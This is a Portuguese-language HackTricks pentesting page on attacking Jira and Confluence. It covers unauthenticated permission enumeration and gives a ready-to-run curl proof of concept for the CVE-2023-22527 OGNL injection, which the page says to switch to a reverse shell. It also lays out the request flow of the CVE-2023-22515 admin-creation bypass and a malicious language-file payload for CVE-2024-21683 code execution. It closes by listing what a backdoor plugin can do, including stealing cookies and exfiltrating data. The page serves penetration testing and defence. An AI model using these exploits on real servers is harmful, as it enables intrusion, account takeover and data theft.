Jira & Confluence
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Verificar Privilégios
No Jira, os privilégios podem ser verificados por qualquer usuário, autenticado ou não, através dos endpoints /rest/api/2/mypermissions ou /rest/api/3/mypermissions. Esses endpoints revelam os privilégios atuais do usuário. Uma preocupação notável surge quando usuários não autenticados possuem privilégios, indicando uma vulnerabilidade de segurança que poderia potencialmente ser elegível para um bounty. Da mesma forma, privilégios inesperados para usuários autenticados também apontam para uma vulnerabilidade.
Uma importante atualização foi feita em 1 de fevereiro de 2019, exigindo que o endpoint ‘mypermissions’ inclua um parâmetro ‘permission’. Esse requisito visa aumentar a segurança especificando os privilégios que estão sendo consultados: check it here
- ADD_COMMENTS
- ADMINISTER
- ADMINISTER_PROJECTS
- ASSIGNABLE_USER
- ASSIGN_ISSUES
- BROWSE_PROJECTS
- BULK_CHANGE
- CLOSE_ISSUES
- CREATE_ATTACHMENTS
- CREATE_ISSUES
- CREATE_PROJECT
- CREATE_SHARED_OBJECTS
- DELETE_ALL_ATTACHMENTS
- DELETE_ALL_COMMENTS
- DELETE_ALL_WORKLOGS
- DELETE_ISSUES
- DELETE_OWN_ATTACHMENTS
- DELETE_OWN_COMMENTS
- DELETE_OWN_WORKLOGS
- EDIT_ALL_COMMENTS
- EDIT_ALL_WORKLOGS
- EDIT_ISSUES
- EDIT_OWN_COMMENTS
- EDIT_OWN_WORKLOGS
- LINK_ISSUES
- MANAGE_GROUP_FILTER_SUBSCRIPTIONS
- MANAGE_SPRINTS_PERMISSION
- MANAGE_WATCHERS
- MODIFY_REPORTER
- MOVE_ISSUES
- RESOLVE_ISSUES
- SCHEDULE_ISSUES
- SET_ISSUE_SECURITY
- SYSTEM_ADMIN
- TRANSITION_ISSUES
- USER_PICKER
- VIEW_AGGREGATED_DATA
- VIEW_DEV_TOOLS
- VIEW_READONLY_WORKFLOW
- VIEW_VOTERS_AND_WATCHERS
- WORK_ON_ISSUES
Exemplo: https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS
#Check non-authenticated privileges
curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true'
Enumeração automatizada
RCEs recentes & notas práticas de exploit (Confluence)
CVE-2023-22527 – unauthenticated template/OGNL injection (10.0)
- Afeta Confluence Data Center/Server 8.0.x–8.5.3 & 8.4.5. O template Velocity vulnerável
text-inline.vmpermite avaliação OGNL sem autenticação. - PoC rápido (comando é executado como usuário confluence):
curl -k -X POST "https://confluence.target.com/template/aui/text-inline.vm" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'label=aaa%27%2b#request.get("KEY_velocity.struts2.context").internalGet("ognl").findValue(#parameters.poc[0],{})%2b%27&poc=@org.apache.struts2.ServletActionContext@getResponse().setHeader("x-cmd",(new+freemarker.template.utility.Execute()).exec({"id"}))'
- O cabeçalho de resposta
x-cmdconterá a saída do comando. Substituaidpor um reverse shell payload. - Scanner: nuclei template
http/cves/2023/CVE-2023-22527.yaml(disponível em nuclei-templates ≥9.7.5).
CVE-2023-22515 – reativação de setup e criação de admin (auth bypass)
- Confluence Data Center/Server 8.0.0–8.5.1 acessível publicamente permite alternar
setupCompletee re‑executar/setup/setupadministrator.actionpara criar uma nova admin account. - Fluxo mínimo do exploit:
GET /server-info.action(não autenticado) para garantir que está acessível.POST /server-info.actioncom parâmetrosbuildNumberpara alternar a setup flag.POST /setup/setupadministrator.actioncomfullName,email,username,password,confirmpara criar um admin.
CVE-2024-21683 – authenticated RCE via Code Macro upload
- Confluence Admin pode fazer upload de uma definição de linguagem craftada em Configure Code Macro; o Rhino engine executa Java embutido, levando a RCE.
- Para um shell, faça upload de um arquivo
.langcontendo um payload como:
<?xml version="1.0"?>
<languages>
<language key="pwn" name="pwn" namespace="java.lang">
<tokens>
<token scope="normal">${"".getClass().forName("java.lang.Runtime").getRuntime().exec("id")}</token>
</tokens>
</language>
</languages>
- Aciona ao selecionar a linguagem maliciosa em qualquer corpo de Code Macro. O módulo Metasploit
exploit/multi/http/atlassian_confluence_rce_cve_2024_21683automatiza auth + upload + exec.
Plugins do Atlasian
Como indicado neste blog, na documentação sobre Plugin modules ↗ é possível verificar os diferentes tipos de plugins, como:
- REST Plugin Module ↗: Expõe endpoints de API RESTful
- Servlet Plugin Module ↗: Implanta servlets Java como parte de um plugin
- Macro Plugin Module ↗: Implementa Confluence Macros, ou seja, templates HTML parametrizados
Este é um exemplo do tipo de plugin macro:
Macro plugin example
```java package com.atlassian.tutorial.macro;import com.atlassian.confluence.content.render.xhtml.ConversionContext; import com.atlassian.confluence.macro.Macro; import com.atlassian.confluence.macro.MacroExecutionException;
import java.util.Map;
public class helloworld implements Macro {
public String execute(Map<String, String> map, String body, ConversionContext conversionContext) throws MacroExecutionException { if (map.get(“Name”) != null) { return (“
Hello “ + map.get(“Name”) + “!
”); } else { return “Hello World!
”;
}
}
public BodyType getBodyType() { return BodyType.NONE; }
public OutputType getOutputType() { return OutputType.BLOCK; } }
</details>
É possível observar que esses plugins podem ser vulneráveis a vulnerabilidades web comuns como XSS. Por exemplo, o exemplo anterior é vulnerável porque está refletindo dados fornecidos pelo usuário.
Once a XSS is found, in [**this github repo**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence) you can find some payloads to increase the impact of the XSS.
## Backdoor Plugin
[**This post**](https://cyllective.com/blog/posts/atlassian-malicious-plugin) descreve diferentes ações (maliciosas) que um plugin malicioso do Jira poderia executar. You can find [**code example in this repo**](https://github.com/cyllective/malfluence).
Estes são alguns dos actions que um plugin malicioso poderia executar:
- **Hiding Plugins from Admins**: É possível ocultar o plugin malicioso injetando algum front-end javascript
- **Exfiltrating Attachments and Pages**: Permitir o acesso e exfiltration de todos os dados.
- **Stealing Session Tokens**: Adicionar um endpoint que vai ecoar os headers na resposta (com o cookie) e algum javascript que irá contatá-lo e leak the cookies.
- **Command Execution**: Claro que é possível criar um plugin que irá executar código.
- **Reverse Shell**: Ou obter um reverse shell.
- **DOM Proxying**: If the confluence is inside a private network, it would be possible to establish a connection through the browser of some user with access to it and for example contact the server command executing through it.
## Referências
- [Atlassian advisory – CVE-2023-22527 template injection RCE](https://confluence.atlassian.com/security/cve-2023-22527-rce-remote-code-execution-vulnerability-in-confluence-datacenter-and-confluence-server-1333990257.html)
- [CISA AA23-289A – Active exploitation of Confluence CVE-2023-22515](https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-289a)
> [!TIP]
> Aprenda e pratique Hacking AWS:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Aprenda e pratique Hacking GCP: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Aprenda e pratique Hacking Azure: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Supporte o HackTricks</summary>
>
> - Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
> - **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
>
> </details>


